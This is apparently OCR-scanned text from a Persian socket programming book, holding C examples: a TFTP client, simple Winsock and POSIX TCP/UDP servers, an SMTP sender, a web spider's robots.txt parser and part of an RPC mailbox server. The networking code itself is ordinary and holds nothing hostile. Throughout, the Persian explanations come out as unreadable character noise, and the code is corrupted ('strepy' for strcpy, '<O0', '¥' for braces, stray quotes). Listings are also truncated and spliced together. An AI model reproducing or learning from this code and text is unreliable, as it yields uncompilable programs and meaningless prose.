*)&tftpServAddr, sizeof(tftpServAddr)) < 0)
DieWithError("Transfer request failed");
/* Recv a response */
fromSize = sizeof(fromAddr);
fp = fopen(fname , "wb");
if (fp == NULL)
{
printf( " \n Unable to open file %s \n ", fname);
close (sock);
exit(0);
}

bzero(tftpBuffer,sizeof(tftpBuffer));

oldblockno = 0;

blockno = 1;

respStringLen = recvfrom(sock, tftpBuffer, ECHOMAX, 0, (struct sockaddr
*)&fromAddr, &fromSize);

gettimeofday(&rtend,(struct timezone *)0);

while (respStringLen >0)
{
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// printf("Entered into the loop \n");
for (k=0 ; k<=5 ; k++)

blk_no[k] = tftpBuffer[k];

// printf("buffer = %s\n",tftpBuffer);
if(Istremp(blk_no,"900000"))

{
printf(" The server returned the error %s\n",&tftpBuffer[6]);

exit(0);
}
blockno = atoi(blk_no);
/* Tracks block no for acknowledging */
if ( blockno == oldblockno)
{
printf(" Duplicate Blocks\n");
continue;
}
sendack = blk_no;
sendacklen = strlen (sendack);
tftpServAddr.sin_port = fromAddr.sin_port;
/* New Server port */
count+=respStringLen;
/1 if ((respStringLen = recvfrom(sock, tftpBuffer, ECHOMAX, 0, (struct sockaddr
*)&fromAddr, &fromSize)) < 518)
if(!(respStringLen<518))
{
fwrite (&tftpBuffer[6],sizeof(char),512,fp); /*reads block from 6th byte ie
data*/
sendto(sock, sendack , sendacklen, 0, (struct sockaddr *)&tftpServAddr,
sizeof(tftpServAddr));
oldblockno = blockno;
}
else
/* checks data block size*/
{
fwrite (&tftpBuffer[6],sizeof(char),512,fp); /*reads block from 6th byte ie
data*/
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fclose (fp);
sendto(sock, sendack , sendacklen, 0, (struct sockaddr *)&tftpServAddr,
sizeof(tftpServAddr));
printf("\n File transfer complete. Check file %s \n", fname);
close (sock);
gettimeofday(&end,(struct timezone *)0);
se=end.tv_sec-start.tv_sec;
usec=end.tv_usec-start.tv_usec;
rse=rtend.tv_sec-start.tv_sec;

rusec=rtend.tv_usec-start.tv_usec;
rttime=(float)rse+((float)rusec/1000000.00);
ttime=(float)se+((float)usec)/1000000.00;
printf(" The effective round trip time is %f in sec \n",rttime);
printf("The effective bandwidth is %f in bytes/sec\n",count/ttime);

exit(0);
}
bzero(tftpBuffer,sizeof(tftpBuffer));
respStringLen = recvfrom(sock, tftpBuffer, ECHOMAX, 0, (struct sockaddr
*)&fromAddr, &fromSize);

¥
¥

/* Writes file to server */
if (request =="'W' || request == 'w')
{
bzero(firststring,sizeof(firststring));
firststring[0] = 'W';
strepy (&firststring[1], fname); /*File to write*/
firststringlen = strlen (firststring);
gettimeofday(&start,(struct timezone *)0);
/* Send the firststring to the server */

if (sendto(sock, firststring , firststringlen, 0, (struct sockaddr
*)&tftpServAddr, sizeof(tftpServAddr)) < 0)

DieWithError("Transfer request failed");

/* Recv a response */
bzero(tftpBuffer,sizeof(tftpBuffer));

fromSize = sizeof(fromAddr);
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if ((respStringLen = recvfrom(sock, tftpBuffer, ECHOMAX, 0, (struct sockaddr
*)&fromAddr, &fromSize)) < 0)
DieWithError("Transfer request failed");
// printf(" response = %s\n", tftpBuffer);
gettimeofday(&rtend,(struct timezone *)0);
for (k=0 ; k<=5 ; k++)
blk_no[k] = tftpBuffer[k];
if('strcmp(blk_no,"900000"))
{
printf(" The server returned the error %s\n",&tftpBuffer[6]);
exit(0);
}
blockno = atoi(blk_no);
if ( blockno !'= 0)
DieWithError("Transfer Error");
fp = fopen(fname , "rb");
if (fp == NULL)
{
printf( " \n Unable to open file %s \n ", fname);
close (sock);
exit(0);
}
// printf(" reached after file open\n");
totalbytes = countbyte (fname);
totalbytes = floor (totalbytes/512 );
for (i=0 ; i<=totalbytes ; i++)
{
X=i;
//fp = fp + (i * 512); /* moves pointer to start of current block*/
sprintf(blk_no,"%d",++x);
bzero(tftpBuffersend,sizeof(tftpBuffersend));
templen=strlen(blk_no);
for(k=5;k>=0;k--)
{
if(templen>0)
tftpBuffersend[k]=blk_no[--templen];

else
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tftpBuffersend[K]="0';

}
for (j=6 ; j<=517 ; j++)
{
if ( (ch =fgetc(fp))!= EOF)
{

// printf("%c\n",ch);
tftpBuffersend[j] = ch;
}

else break;
}
tftpBuffersendlen = strlen (tftpBuffersend);
count+=tftpBuffersendlen;
tftpServAddr.sin_port = fromAddr.sin_port;  /* New Server port */
if (sendto(sock, tftpBuffersend, tftpBuffersendlen,0,(struct sockaddr
*)&tftpServAddr, sizeof(tftpServAddr))<O0)
DieWithError("Write failed");
// printf(" after sending and buffer %s \n", tftpBuffersend);
respStringLen = recvfrom(sock, tftpBuffer, ECHOMAX, 0, (struct sockaddr
*)&fromAddr, &fromSize);
// printf(" received response from server = %s\n" tftpBuffer);
for (k=0 ; k<=5 ; k++)
blk_no[k] = tftpBuffer[k];
blockno = atoi(blk_no);
X=i;
++X;

while (blockno !'= (x))
{
if (sendto(sock, tftpBuffersend, tftpBuffersendlen,0,(struct sockaddr
*)&tftpServAddr,
sizeof(tftpServAddr))<O0)
DieWithError("Write failed");
respStringLen = recvfrom(sock, tftpBuffer, ECHOMAX, 0, (struct sockaddr
*)&fromAddr, &fromSize);
for (k=0 ; k<=5 ; k++)
blk_no[k] = tftpBuffer[k];

blockno = atoi(blk_no);
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¥

}
fclose (fp);

printf("\n File written successfully \n");

close (sock);

gettimeofday(&end,(struct timezone *)0);
se=end.tv_sec-start.tv_sec;
usec=end.tv_usec-start.tv_usec;
rse=rtend.tv_sec-start.tv_sec;
rusec=rtend.tv_usec-start.tv_usec;
rttime=(float)rse+((float)rusec/1000000.00);
ttime=(float)se+((float)usec)/1000000.00;

printf(" The effective round trip time is %f in sec\n",rttime);
printf("The effective bandwidth is %f in bytes/sec\n",count/ttime);
exit(0);

}

}
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#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <winsock2.h>
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#include <stdio.h>
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#include  <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
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int main(int argc , char **argv){
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SOCKET intSocekt;
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struct sockaddr_in recServer,recClient;
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WSADATA wsaData;
WORD wVersionRequested,;
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int intErr,intLen;

char *pchrBuffer;
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//define main function:
int main(int argc , char **argv){
WSADATA wsaData;
WORD wVersionRequested;
SOCKET intSocket,intRSocket;
struct sockaddr in recServer,recClient;
int intErr;
char *pchrBuffer;
S bl S S 1) 2isd 0)ls Wl )5 Lawgs a5 1) 055 deliyy sla (53955 Como a5 el 2 >
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if(argc<?2)
{

printf("::Error on The call Program::\n");
printf(*%s LocalPortNo",argv[0]);

exit(1);
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wVersionRequested= MAKEWORD (2,0);
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If(WSAStartup(wVersionRequested,&wsaData))

{
printf("\n::Error On init Socket::\n");

exit(1);

AT

Jole piincws slp s 0S e oolixal SYS/socket.h 4 Sys/type.h jus 51 31 a5 asl asls a>gs

&b by Jale pans silo oslel) 398 al> o 4 3l Gy oo aslp Gl 0dlgls oa b S g

(0SS )0 095 alip jo |,y al> e ol wls g o las WSAStartup()

Do Col g el al> e cpl yo SOCKAAAr_in lasle e jolie 4 oyols lade
recServer.sin_addr.S_un.S_addr= INADDR_ANY;

recServer.sin_family=AF_INET;
recServer.sin_port=htons(atoi(argv[1]));

www.PersianGenius.blogfa.com Page 125



M) Socket Network Programming oSt S gy ol

AS axxlye L8 Oloas

Lt oo 1y 095 a5l 090 S g

intSocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(intSocket==INVALID_SOCKET)
{

printf(*\n::Error On Create Socket::\n");

WSACIeanup();

exit(1);

(tcp) 1,5 Jlasl 55 51 pgo (leg¥,l 3ok 5 (sl lo 0 )5 L 5 5Le sl legS 5T 3abo Lo aslpp &5 g
]
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intErr=bind(intSocket,&recServer,sizeof(recServer));
if(intErr==SOCKET_ERROR)
{
printf("\n::Error On the Call bind Function::\n");
WSACIleanup();
exit(1);
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intErr=listen(intSocket, SOMAXCONN );
if(intSocket == SOCKET_ERROR)
{

printf("\n::Error On the Call listen Function::\n");
WSACleanup();

exit(1);
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IntLen= sizeof(recClient));
intRSocket=accept(intSocket,&recClient,&intLen);
if(intRSocket==INVALID_SOCKET){
printf("\n::Error On the Accept Connection::\n");
WSACIleanup();
exit(1);
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IntLen= sizeof(recClient);
intRSocket=accept(intSocket,&recClient, &intLen);
if(intRSocket==INVALID_SOCKET){
printf("\n::Error On the Accept Connection::\n");
printf(“Error Code:%d”, WSAGetLastError());
WSACIeanup();
exit(1);
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pchrBuffer="Salam\0";
intErr=send(intRSocket,pchrBuffer,strlen(pchrBuffer),0);
if(intErr==SOCKET_ERROR){

printf("\n::Error On Send Data::\n");
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printf("Error Code:%d",WSAGetLastError());
WSACIeanup();
exit(1);

o ot O 5SS L1y T slol g et oo )18 aslip 80 0 1, “ Salam” sla 515 g9l ars,
Coomo drs g w0 (oo Jlo)] o 4 oad Jog <M sl 1y T Send() ab sl esliiwl b s g S
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memset(pchrBuffer,’\0’,strlen(pchrBuffer));
intErr=recv(intSocket,pchrBuffer,strlen(pchrBuffer),0);
if(intErr==SOCKET_ERROR){

printf("\n::Error On Recev Data::\n");

printf("Error Code:%d",\WSAGetLastError());

exit(1);

4ol g 05 oo 3T 1) s 5l ool 331 sl aladl> g 00,5 O > |, 2B8L y0 Sledlbl 55 aslp slesl o

printf(*\nRecived Data:%s\n”,pchrBuffer);
closesocket(intSocket);

WSACIeanup();

getch();

return O;

}
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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <conio.h>
#include <winsock2.h>

int main(int argc , char **argv){

WSADATA wsaData;
WORD wVersionRequested;
SOCKET intSocket;
struct sockaddr_in recServer,recClient;
int intErr,intLen;
char *pchrBuffer;
if(argc<2){
printf("::Error on The call Program::\n");
printf("%s LocalPortNo",argv[0]);
exit(1);
}
wVersionRequested= MAKEWORD (2,0);
if(WSAStartup(wVersionRequested,&wsaData)){
printf("\n::Error On init Socket::\n");
exit(1);
}
recServer.sin_addr.S_un.S_addr= INADDR_ANY;
recServer.sin_family=AF_INET;
recServer.sin_port=htons(atoi(argv[1]));
intSocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(intSocket==INVALID_SOCKET){
printf("\n::Error On Create Socket::\n");
WSACleanup();
exit(1);
}
intErr=bind(intSocket,&recServer,sizeof(recServer));
if(intErr==SOCKET_ERROR){
printf("\n::Error On the Call bind Function::\n");
WSACleanup();
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exit(1);
}
intErr=listen(intSocket, SOMAXCONN );
if(intSocket == INVALID_SOCKET){
printf("\n::Error On the Call listen Function::\n");
WSACleanup();
exit(1);
}
intLen= sizeof(recClient));
intRSocket=accept(intSocket,&recClient,&intLen);
if(intRSocket==INVALID_SOCKET){
printf("\n::Error On the Accept Connection::\n");
printf(“Error Code:%d”,WSAGetLastError());
WSACleanup();
exit(1);
}
pchrBuffer="Salam\0";
intErr=send(intRSocket,pchrBuffer,strlen(pchrBuffer),0);
if(intErr==SOCKET_ERROR){
printf("\n::Error On Send Data::\n");
printf("Error Code:%d",WSAGetLastError());
WSACleanup();
exit(1);
}
memset(pchrBuffer,\0’,strlen(pchrBuffer));
intErr=recv(intSocket,pchrBuffer,strlen(pchrBuffer),0);
if(intErr==SOCKET_ERROR){
printf("\n::Error On Recev Data::\n");
printf("Error Code:%d",WSAGetLastError());
exit(1);
}
printf(*\nRecived Data:%s\n”,pchrBuffer);
closesocket(intSocket);
WSACleanup();
getch();

return O;

¥
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#include
#include
#include

#include
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<stdio.h>
<stdlib.h>
<errno.h>

<netdb.h>

#include <sys/socket.h>

#include

#include

<sys/types.h>

<netinet/in.h>

int main(int argc , char **argv){

int intSocket,intRSocket;

struct

sockaddr_in recServer,recClient;

int intErr,intLen;

char *pchrBuffer;

if(argc<2){
printf("::Error on The call Program::\n");
printf("%s LocalPortNo",argv[0]);
exit(1);
}
recServer.sin_addr.S_addr= INADDR_ANY;
recServer.sin_family=AF_INET;
recServer.sin_port=htons(atoi(argv[1]));
intSocket=socket(AF_INET,SOCK_STREAM,0);
if(intSocket == -1){
printf("\n::Error On Create Socket::\n");
exit(1);
}
intErr=bind(intSocket,&recServer,sizeof(recServer));
if(intErr==-1){
printf("\n::Error On the Call bind Function::\n");
exit(1);
}
intErr=listen(intSocket, 5 );
if(intSocket == -1){
printf("\n::Error On the Call listen Function::\n");
exit(1);
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return O;

¥

intLen= sizeof(recClient));
intRSocket=accept(intSocket,&recClient,&intLen);
if(intRSocket== -1){
printf("\n::Error On the Accept Connection::\n");
exit(1);
}
pchrBuffer="Salam\0";
intErr=send(intRSocket,pchrBuffer,strlen(pchrBuffer),0);
if(intErr==-1){
printf("\n::Error On Send Data::\n");
exit(1);
}
memset(pchrBuffer,\0’,strlen(pchrBuffer));
intErr=recv(intSocket,pchrBuffer,strlen(pchrBuffer),0);
if(intErr==-1){
printf("\n::Error On Recev Data::\n");
exit(1);
}
printf(*\nRecived Data:%s\n”,pchrBuffer);

closesocket(intSocket);
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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <conio.h>
#include <winsock2.h>

int main(int argc , char **argv){

WSADATA wsaData;
WORD wVersionRequested;
SOCKET intSocket;
struct sockaddr_in recServer,recClient;
int intErr;
char *pchrBuffer;
if(argc<2){
printf("::Error on The call Program::\n");
printf("%s LocalPortNo",argv[0]);
exit(1);
}
wVersionRequested= MAKEWORD (2,0);
if(WSAStartup(wVersionRequested,&wsaData)){
printf("\n::Error On init Socket::\n");
exit(1);
}
recServer.sin_addr.S_un.S_addr= INADDR_ANY;
recServer.sin_family=AF_INET;
recServer.sin_port=htons(atoi(argv[1]));
intSocket=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
if(intSocket==INVALID_SOCKET){
printf("\n::Error On Create Socket::\n");
WSACleanup();
exit(1);
}
intErr=bind(intSocket,&recServer,sizeof(recServer));
if(intErr==SOCKET_ERROR){
printf("\n::Error On the Call bind Function::\n");
WSACleanup();
exit(1);
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}
memset(pchrBuffer,\0’,strlen(pchrBuffer));

intErr=recvfrom(intSocket,pchrBuffer,strlen(pchrBuffer),0
,&recClient,sizeof(recClient));
if(intErr==SOCKET_ERROR){
printf("\n::Error On Send Data::\n");
printf("Error Code:%d",WSAGetLastError());
WSACleanup();
exit(1);
}
printf(*\nRecived Data:%s\n”,pchrBuffer);
closesocket(intSocket);
WSACleanup();
getch();

return O;

¥

Lo g Jols i 5139 UDP 5 g
#include <sys/types.h>

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>

#include <unistd.h> /* close */

#define SUCCESS 0

#define ERROR 1

#define END_LINE 0x0
#define SERVER_PORT 1500
#define MAX_MSG 100

/* function readline */

int read_line();

int main (int argc, char *argv[]){
int sd, newSd, cliLen;
struct sockaddr_in cliAddr, servAddr;

char line[MAX_MSG];
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/* create socket */

sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd<0) {
perror(“cannot open socket ");

return ERROR;
}

/* bind server port */

servAddr.sin_family = AF_INET,;
servAddr.sin_addr.s_addr = htonl(INADDR_ANY);
servAddr.sin_port = htons(SERVER_PORT);
if(bind(sd, (struct sockaddr *) &servAddr, sizeof(servAddr))<0) {
perror(“cannot bind port *);
return ERROR;
}
listen(sd,5);
while(1) {
printf("%s: waiting for data on port TCP %u\n",argv[0],SERVER_PORT);
cliLen = sizeof(cliAddr);
newSd = accept(sd, (struct sockaddr *) &cliAddr, &cliLen);
if(newSd<0) {
perror(“cannot accept connection ");
return ERROR;

¥

/* init line */

memset(line,0x0,MAX_MSG);

/* receive segments */

while(read_line(newSd,line)!=ERROR){

printf("%s: received from %s:TCP%d : %s\n", argv[0],

inet_ntoa(cliAddr.sin_addr),
ntohs(cliAddr.sin_port), line);

www.PersianGenius.blogfa.com Page 136



M) Socket Network Programming SSoi CuS g oasisgs ol I

/* init line */

memset(line,0x0,MAX_MSG);

} /* while(read_line) */

} /* while (1) */
}

/* WARNING WARNING WARNING WARNING WARNING WARNING WARNING */
/* this function is experimental.. I don't know yet if it works */

/* correctly or not. Use Steven's readline() function to have */

/* something robust. */

/* WARNING WARNING WARNING WARNING WARNING WARNING WARNING */

/* rev_line is my function readline(). Data is read from the socket when */

/* needed, but not byte after bytes. All the received data is read. */

/* This means only one call to recv(), instead of one call for */

/* each received byte. */

/* You can set END_CHAR to whatever means endofline for you. (Ox0A is \n)*/
/* read_lin returns the number of bytes returned in line_to_return */

int read_line(int newSd, char *line_to_return) {

static int rcv_ptr=0;
static char rcv_msg[MAX_MSG];
static int n;

int offset;

offset=0;

while(1) {
if(rev_ptr==0) {
/* read data from socket */
memset(rcv_msg,0x0,MAX_MSG); /* init buffer */
n = recv(newSd, rcv_msg, MAX_MSG, 0); /* wait for data */
if (N<0) {
perror(" cannot receive data ");
return ERROR;
} else if (n==0) {
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printf(" connection closed by client\n");
close(newSd);
return ERROR;
}
}

/* if new data read on socket */
/* OR */
/* if another line is still in buffer */
/* copy line into 'line_to_return' */
while(*(rcv_msg+rcv_ptr)!=END_LINE && rcv_ptr<n) {
memcpy(line_to_return+offset,rcv_msg+rcv_ptr,1);
offset++;
rcv_ptr++;
}
/* end of line + end of buffer => return line */
if(rev_ptr==n-1) {
/* set last byte to END_LINE */
*(line_to_return+offset)=END_LINE;
rcv_ptr=0;
return ++offset;

¥

/* end of line but still some data in buffer => return line */
if(rev_ptr <n-1) {
/* set last byte to END_LINE */
*(line_to_return+offset)=END_LINE;
rcv_ptr++;

return ++offset;

¥

/* end of buffer but line is not ended => */
/* wait for more data to arrive on socket */
if(rev_ptr == n){

rcv_ptr = 0;

¥

} /* while */
}
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#include <stdio.h>
#include <stdlib.h>
#include <winsock.h>

#include <windows.h>
typedef char stringa[500];
SOCKET conn;

void RispostaServer();

int main(int argc,char **argv){
FILE *fp;
int lun, err=0;
char buf[1500],end[7];
char filecar;
SOCKADDR_IN conn_addr;
WSADATA data;
WORD ver;
LPHOSTENT host;

if(argcl=4){
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printf("Uso: \"%s\" <Indirizzo server SMTP> <mittente>
<destinatario>\n",argv[0]);

exit(0);
¥
fp=fopen("mail.txt","r");
if(fp==NULL){

return (1);
}
ver=MAKEWORD(2,0);
WSAStartup(ver,&data);
conn=socket(PF_INET,SOCK_STREAM,0);
conn_addr.sin_family=AF_INET,;
conn_addr.sin_port=htons(25);
host=gethostbyname(argv[1]);
if(host==NULL){

err=WSAGetLastError();

printf("Errore host\t%d",err);

exit(1);
}
conn_addr.sin_addr=*((LPIN_ADDR)*host->h_addr_list);
lun=sizeof(struct sockaddr);
err=connect(conn,(struct sockaddr*)&conn_addr,lun);
if(err!=0){

err=WSAGetLastError();

printf("Errore socket\t%d",err);

exit(1);
}
RispostaServer();

sprintf(buf,"helo sendmail\nmail from:<%s>\nrcpt
to:<%s>\ndata\n",argv[2],argv[3]);

send(conn, buf, strlen(buf), 0);
printf(buf);
RispostaServer();
printf("Corpo mail\n™);
while(filecar!="'8"){
fscanf (fp,"%c",&filecar);
if(filecar!="8")

send(conn,&filecar,1,0);
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}

fclose(fp);

RispostaServer();
sprintf(end,"quit\n");
send(conn,end,strlen(end),0);
printf(end);

RispostaServer();
closesocket(conn);
WSACleanup();

return O;

¥

void RispostaServer(){
char mess[1000];
int n=0;
n=recv(conn,mess,200,0);
mess[n]=0;

printf(mess,"%s");

CHTTP oo g g g o>l
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#ifndef _WIN32
#include <unistd.h>
#endif

#include <time.h>
#include <stdarg.h>
#include "swish.h"
#include "string.h"
#include "mem.h"
#include "http.h"

#include "httpserver.h”
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static httpserverinfo *servers = 0;
static void parserobotstxt(FILE *fp, httpserverinfo *server);
static char *isolatevalue(char *line, char *keyword, int *plen);
static int serverinlist(char *url, struct swline *list);
/* Find the robot rules for this URL. If haven't retrieved them
** yet, do so now.
**xf
httpserverinfo *getserverinfo(char *url){
httpserverinfo *server;
char *method;
int methodlen;
char *serverport;
int serverportlen;
char contenttype[MAXSTRLEN];
char buffer[MAXSTRLEN];
FILE *fp;
if ((method = url_method(url, &methodlen)) == 0) {
return O;
}
if ((serverport = url_serverport(url, &serverportlen)) == 0) {
return O;
}
/* Search for the rules
**xf
for (server = servers; server; server = server->next) {
if (equivalentserver(url, server->baseurl)) {

return server;

/* Create a new entry for this server and add it to the list.

**/

server = (httpserverinfo *)emalloc(sizeof(httpserverinfo));

/* +3 for the ://, +1 for the trailing /, +1 for the terminating null

**/

server->baseurl = (char *)emalloc(methodlen + serverportlen + 5);

sprintf (server->baseurl, "%.*s://%.*s/", methodlen, method, serverportlen,

serverport );
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server->lastretrieval = 0;
server->robotrules = 0;
server->next = servers;

Servers = server,

/* Only http(s) servers can full rules, all the other ones just get dummies

** (this is useful for holding last retrieval)

-

** http://info.webcrawler.com/mak/projects/robots/norobots.html holds what
** many people consider the official web exclusion rules. Unfortunately,

** the rules are not consistent about how records are formed. One line

** states "the file consists of one or more records separated by one or more
** plank lines” while another states "the record starts with one or more User-agent
** lines, followed by one or more Disallow lines."

-

** So, does a blank line after a User-agent line end a record? The spec is

** unclear on this matter. If the next legal line afer the blank line is

** a Disallow line, the blank line should most likely be ignored. But what

** if the next line is another User-agent line? For example:

**

** User-agent: MooBot
-
** User-agent: CreepySpider
** Disallow: /cgi-bin
o
** One interpretation (based on blank lines termination records) is that MooBot
** may visit any location (since there are no Disallows for it). Another
** interpretation (based on records needing both User-agent and Disallow lines)
** is that MooBot may not visit /cgi-bin
-
** While poking around, I found at least one site (www.sun.com) that uses blank
** lines within records. Because of that, | have decided to rely on records
** having both User-agent and Disallow lines (the second interpretation above).
**x/
if (strncmp(server->baseurl, "http", 4) == 0) {
sprintf(buffer, "%srobots.txt", server->baseurl);
if (get(contenttype, &server->lastretrieval, buffer) == 200) {
sprintf(buffer, "%s/swishspider@%old.contents"”, tmpdir, Igetpid());
fp = fopen(buffer, "r");
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¥

parserobotstxt(fp, server);
fclose(fp);
}
cmdf(unlink, "%s/swishspider@%ld.response”, tmpdir, Igetpid());
cmdf(unlink, "%s/swishspider@%ld.contents”, tmpdir, Igetpid());
cmdf(unlink, "%s/swishspider@%old.links", tmpdir, Igetpid());
}

return server;

int urldisallowed(char *url){

¥

httpserverinfo *server;

robotrules *rule;

char *uri;

int urilen;

if ((server = getserverinfo(url)) == 0) {
return 1;

}

if ((uri = url_uri(url, &urilen)) == 0) {
return 1;

}

for (rule = server->robotrules; rule; rule = rule->next) {
if (strncmp(uri, rule->disallow, strlen(rule->disallow)) == 0) {

return 1;

¥

return O;

static char useragent[] = "user-agent:";

static char disallow[] = "disallow:";

static char swishspider[] = "swishspider";

static void parserobotstxt(FILE *fp, httpserverinfo *server){

char buffer[MAXSTRLEN];

enum {START, USERAGENT, DISALLOW?} state = START;

enum {SPECIFIC, GENERIC, SKIPPING} useragentstate = SKIPPING;
char *p;

int len;

robotrules *entry;

robotrules *entry2;
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server->useragent = 0;
while (fgets(buffer, sizeof buffer, fp) 1= 0) {
/* Remove end of line indicators**/
while ((*(buffer + strlen(buffer) - 1) == "\r") ||
(*(buffer + strlen(buffer) - 1) == "\n")) {
*(buffer + strlen(buffer) - 1) = "\0';
}
if ((*buffer =="#") || (*buffer == "\0"))
continue;
if (strncasecmp(buffer, useragent, sizeof(useragent) - 1) == 0) {
switch (state) {
case DISALLOW:
if (useragentstate == SPECIFIC) {
return;

}
useragentstate = SKIPPING;

/* explict fallthrough */

case START:
case USERAGENT:
state = USERAGENT;

if (useragentstate != SPECIFIC) {

p = isolatevalue(buffer, useragent, &len);

if ((len == (sizeof(swishspider) - 1)) &&

strncasecmp(p, swishspider, sizeof(swishspider) - 1) ==0)){
useragentstate = SPECIFIC;

if (server->useragent) {
free(server->useragent);
}
for (entry = server->robotrules; entry; ) {
entry2 = entry->next;
free(entry);
entry = entry2;
}
server->robotrules = 0;
server->useragent = (char *)emalloc(len + 1);

strncpy(server->useragent, p, len);
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*(server->useragent + len) = "\0’;
}
else if ((len == 1) && (*p == "*")) {
useragentstate = GENERIC;
server->useragent = (char *)emalloc(2);

strcpy(server->useragent, "*");

break;

¥

if (strncasecmp(buffer, disallow, sizeof(disallow) - 1) == 0) {
state = DISALLOW;
if (useragentstate != SKIPPING) {
p = isolatevalue(buffer, disallow, &len);
if (len) {
entry = (robotrules *)emalloc(sizeof(robotrules));
entry->next = server->robotrules;
server->robotrules = entry;
entry->disallow = (char *)emalloc(len + 1);
strncpy(entry->disallow, p, len);

*(entry->disallow + len) = "\0";

¥
¥
¥
¥

static char *isolatevalue(char *line, char *keyword, int *plen){
/* Find the beginning of the value**/

for (line += strlen(keyword); isspace(*line); line++)

/* Strip off trailing spaces**/

for (*plen = strlen(line); isspace(*(line + *plen - 1)); (*plen)--) {

return line;

}

int equivalentserver(char *url, char *baseurl){
char *method,;

int methodlen;
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¥

char *serverport;

int serverportlen;

char *basemethod;

int basemethodlen;

char *baseserverport;

int baseserverportlen;

multiswline *walk;

method = url_method(url, &methodlen);

serverport = url_serverport(url, &serverportlen);

basemethod = url_method(baseurl, &basemethodlen);
baseserverport = url_serverport(baseurl, &baseserverportlen);
if (!method || Iserverport || 'basemethod || !'baseserverport) {

return O;

¥

if ((methodlen == basemethodlen) && (serverportlen == baseserverportlen) &&

(strncasecmp(method, basemethod, methodlen) == 0) &&
(strncasecmp(serverport, baseserverport, serverportlen) == 0)) {
return 1;

}

/* Do we find the method/server info for this and the base url

** in the same equivalence list?

**x/

for (walk = equivalentservers; walk; walk = walk->next ) {
if (serverinlist(url, walk->list) &&serverinlist(baseurl, walk->list)) {

return 1;

¥

return O;

static int serverinlist(char *url, struct swline *list){

char *method;

int methodlen;

char *serverport;
int serverportlen;
char *listmethod;
int listmethodlen;
char *listserverport;
int listserverportlen;

method = url_method(url, &methodlen);
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serverport = url_serverport(url, &serverportlen);
if (!method || !serverport) {
return O;
}
for (; list; list = list->next) {
listmethod = url_method(list->line, &listmethodlen);
listserverport = url_serverport(list->line, &listserverportlen);
if (listmethod && listserverport) {
if ((methodlen == listmethodlen) &&
(serverportlen == listserverportlen) &&
(strncasecmp(method, listmethod, methodlen) == 0) &&
(strncasecmp(serverport, listserverport, serverportlen) == 0)) {

return 1;

¥

return O;

¥
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#include <rpc/rpc.h>
#include <stdio.h>
#include <string.h>
#include <strings.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <sys/types.h>

#include <netinet/in.h>

www.PersianGenius.blogfa.com Page 148



M) Socket Network Programming SSoi CuS g oasisgs ol I

#include <sys/socket.h>

#ifndef MAILBOX_H
#define _MAILBOX_H

/*the port mail clients will be connecting to */
#define MSERVERPORT 3476

/* server hold 20 mails at most*/

#define MAILMAX 20

/*all message are of fixed length: MSGLEN*/
#define MSGLEN 80

#define START 1

#define QuUIT 2

#define RETRIEVE_MESSAGE
#define INSERT_MESSAGE
#define LIST_ALL_MESSAGES
#define DELETE_MESSAGE

[2 TN & 2 B SN V]

typedef char mess[MSGLEN];

struct argument {
int cmdType;
mess user;
int messagelD;
mess message;
Y

typedef struct argument argument;

struct srvResponse {
int respondID; /* O: successful, otherwise error*/
mess message;

¥

typedef struct srvResponse srvResponse;

struct mails {
int mailNum;

mess mails[MAILMAX];
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typedef struct mails mails;

#Hendif

#define MAXUSER 100
static char* INTERNALERR = "System internal error";

struct mailbox {
char user[80];
struct timeval lastAccessTime;
mails mails;
¥
typedef struct mailbox mailbox;
static mailbox * mailSpool[MAXUSER];
static char* errMessage;
void debug(char * msg) {errMessage = msg;}
int getEmptyMailSpool() {
inti;
for (i=0; i<MAXUSER;i++) {
if (mailSpool[i] == NULL) return i;
}
debug("MailSpool is full");
return -1;
}
mailbox * getMailBox(char* user) {
inti;
i = getMailBoxIndex(user);
if (i< 0) return NULL;
else return mailSpool[i];
}
int getMailBoxIndex(char * user) {
inti;
struct timeval curTime;
char buffer[100];
for (i=0; i<MAXUSER;i++) {
if ((mailSpool[i] '= NULL) &&
(strcmp(user,mailSpool[i]->user) == 0)) {
gettimeofday(&curTime,NULL);

if ((curTime.tv_sec - mailSpool[i]->
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lastAccessTime.tv_sec) >300) {

debug("session expired™);

return -1;
}
gettimeofday(&mailSpool[i]->lastAccessTime,NULL);
return i;
}
}
sprintf(buffer,"mailbox for %s not found",user);
debug(buffer);
return -1;
}
/*

1. read "user.mbx" from local file system
2. if file not exist, then create one
3. initialize the necessary fields
4. add it to the mailSpool
status: test
*/
mailbox* loadMailBox(char* user) {
FILE * fp;
char filename[MSGMAX+5];
char msg[MSGMAX+1];
mailbox* mbox;
inti;
strepy(filename,user);

strcat(filename,".mbx™);

fp = fopen(filename,"a+");
if (fp == NULL) {
debug("open file failed");
return NULL;
}
mbox = (mailbox *) malloc(sizeof(mailbox));
if (mbox == NULL) {
debug("allocate memory for mbox failed");

fclose(fp);
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¥

return NULL;

//initialize the mailbox

mbox->mails.mailNum = 0;

gettimeofday(&mbox->lastAccessTime,NULL);

strcpy(mbox->user,user);

while ((mbox->mails.mailNum < MAILMAX) &&
(fgets(msg,MSGMAX+1,fp) I==
strcpy(mbox->mails.mailsfmbox->mails.mailNum],msg); NULL)){

mbox->mails.mailNum ++;

}
i = getEmptyMailSpool();
if i==-1){

free(mbox);

fclose(fp);

return NULL;
}
mailSpool[i] = mbox;
fclose(fp);

return mbox;

/*

save line by line
*/

void saveMailBox(mailbox * mbox) {

FILE * fp;

char filename[MSGMAX+5];

char msg[MSGMAX+1];

inti;

strepy(filename, mbox->user);

strcat(filename,".mbx™);

fp = fopen(filename,"w");

if (fp == NULL) {
debug("open file failed");
return NULL;

¥

for (i=0; i<mbox->mails.mailNum; i++) {

fputs(mbox->mails.mails[i],fp);
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fclose(fp);
}
/*
getMailBox, if success, do nothing
else loadMailBox, and insert it to the mailspool
*/
char ** start_2(char ** user,struct svc_req * req){
mailbox* myMbox = getMailBox(*user);
